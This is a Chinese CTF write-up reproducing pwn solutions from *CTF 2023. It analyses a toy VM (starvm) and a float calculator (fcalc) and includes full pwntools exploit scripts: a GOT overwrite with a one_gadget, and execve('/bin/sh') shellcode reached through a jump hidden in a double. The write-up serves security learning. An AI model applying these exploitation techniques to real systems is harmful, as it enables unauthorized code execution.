本文最后更新于:2023年8月6日 下午
2023-*ctf部分复现-pwn
这次比赛跟着团队打的,笔者题目都还没逆明白呢,师傅们就把pwn ak了,实在是太强了。
starvm
查看保护。
题目使用C++实现了一个简单虚拟机,关键就是识别出虚拟机的结构体。
结构体大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| struct vm { vector code; vector cmd; void *ip; int regs[14]; char *heap; int flag; };
struct vector { void *start; void *end; void *storage; };
|
这里sub_4014A0
输入操作码,sub_401630
输入操作数。
接下来,简单分析下各个操作码功能。
1 2 3 4 5 6 7 8 9 10 11
| 0: reg[id1] = reg[id2] 1: reg[id1] < reg[id2] flag = 2; reg[id1] = reg[id2] flag = 0 2: reg[id1] += reg[id2] 3: reg[id1] -= reg[id2] 4: start += reg[id1] if id2 > 0 5, 8, 9: reg[id1] &= reg[id2] 6: reg[id1] = heap[4 * id2] 7: heap[4 * id2] = reg[id1] 10: reg[id1] = id2 11: end = reg[id1] 12: reg[id1] = *(end - 1)
|
这里漏洞点主要是,操作码10并未检查reg索引,存在reg数组越界漏洞。
整体利用思路为:
- 利用数组越界将puts_got写入heap中
- 利用6功能将heap内容,即puts_got表内容写入regs数组中
- 根据偏移得到出one_gadget的地址
- 利用7功能将one_gadget写入heap中,也即puts_got表
- 最后利用7功能中id1越界检查触发one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
|
from pwn import *
context.arch = 'amd64' context.log_level = 'debug'
fn = './starvm' elf = ELF(fn) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 1 if debug: p = process(fn)
else: p = remote()
def dbg(s=''): if debug: gdb.attach(p, s) pause()
else: pass lg = lambda x, y: log.success(f'{x}: {hex(y)}')
command = ''' b *0x401700 b *0x401A34 b *0x401480 '''
puts_got = elf.got['puts']
payload = [10, 6, 10, 6, 10, 2, 10, 7, 7] payload = ' '.join([str(x) for x in payload]) payload += ' 16' p.sendlineafter('your command:', payload)
payload = [ 14, puts_got, 0, 0, 14, puts_got + 4, 1, 0, 2, 0x6aee3, 0, 2, 14, puts_got, 0, 0, 18, 0, 0xdeadbeef ] payload = ' '.join([str(x) for x in payload]) p.sendlineafter('your cost:', payload)
p.interactive()
|
fcalc
查看保护。
程序实现了输入浮点数计算的功能。
程序的数据检查存在疏漏,当输入’\x30’时,可以进入else流程。
else流程首先检查输入浮点数的合法性,然后根据函数指针数组调用指定函数。
当输入为’\x30’时,程序会调用qword_4060[16],这里存在溢出,刚好能够把我们输入的内容作为shellcode调用。
这道题比较难的部分,也就是书写符合要求的shellcode。但是我们注意到,当我们输入’\x00’时,会立即调用fun_ptr,并不会对后续输入转换。可以想到,写入跳转指令,然后跳转到我们的shellcode上,即可获取shell。
这里跳转指令如何找呢?通过调试,可以发现我们写入的shellcode在fun_ptr上方,我们需要的就是jmp -0x??
这样的指令。这里直接使用在线网站转换即可。
需要注意的是,我们写入的跳转指令还需要满足else流程的检查。这里涉及到c语言浮点数的基础知识,c语言浮点数符合IEEE规则。对于double类型的浮点数,第一位为符号位,第2~12位为阶码,剩下的52位,即6个字节左右。这里为了满足大小要求只需要设置前12位即可,剩下的52位是我们可以随意写的,也就是可以写入我们的跳转指令。
最终wp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
|
from pwn import *
context.arch = 'amd64' context.log_level = 'debug'
fn = './fcalc' elf = ELF(fn) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 1 if debug: p = process(fn)
else: p = remote()
def dbg(s=''): if debug: gdb.attach(p, s) pause()
else: pass lg = lambda x, y: log.success(f'{x}: {hex(y)}')
dbg('b *$rebase(0x1867)')
shellcode = asm(''' xor rsi, rsi mul rsi
push rax mov rbx, 0x68732f2f6e69622f push rbx
mov rdi, rsp mov al, 59
syscall ''')
payload = b'1 1 0'.ljust(0x10, b'\x00') payload += shellcode.ljust(0x40, b'\x00') payload += p64(0x3ff000000000beeb)
p.sendafter(b'Enter your expression:\n', payload)
p.interactive()
|
drop
这是一道rust pwn,笔者暂时逆不太出来,之后学这方面的内容再来填坑吧。